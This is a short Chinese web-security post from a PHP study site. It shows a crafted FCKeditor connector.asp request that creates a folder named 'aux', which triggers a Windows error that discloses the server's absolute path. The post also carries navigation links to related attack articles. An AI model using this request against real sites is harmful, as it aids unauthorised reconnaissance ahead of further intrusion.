最新FCKeditor爆绝对路径漏洞 - 网站安全

最新FCKeditor爆绝对路径漏洞 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 12:00 作者：阅读:次

[导读] 代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolderType=FileCurrentFolder=%2FNewFolderName=aux版本未测试。。。原理：新建个aux文件夹，aux在windows系统不支持，所以......

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

版本未测试。。。

原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。

听说IIS都可以。。

kuwebs cms SQL注入配合xss到getshell - 网站安全 - 自学

xss(跨站脚本攻击)简单示例 - 网站安全 - 自学ph

子栏目

最新FCKeditor爆绝对路径漏洞 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论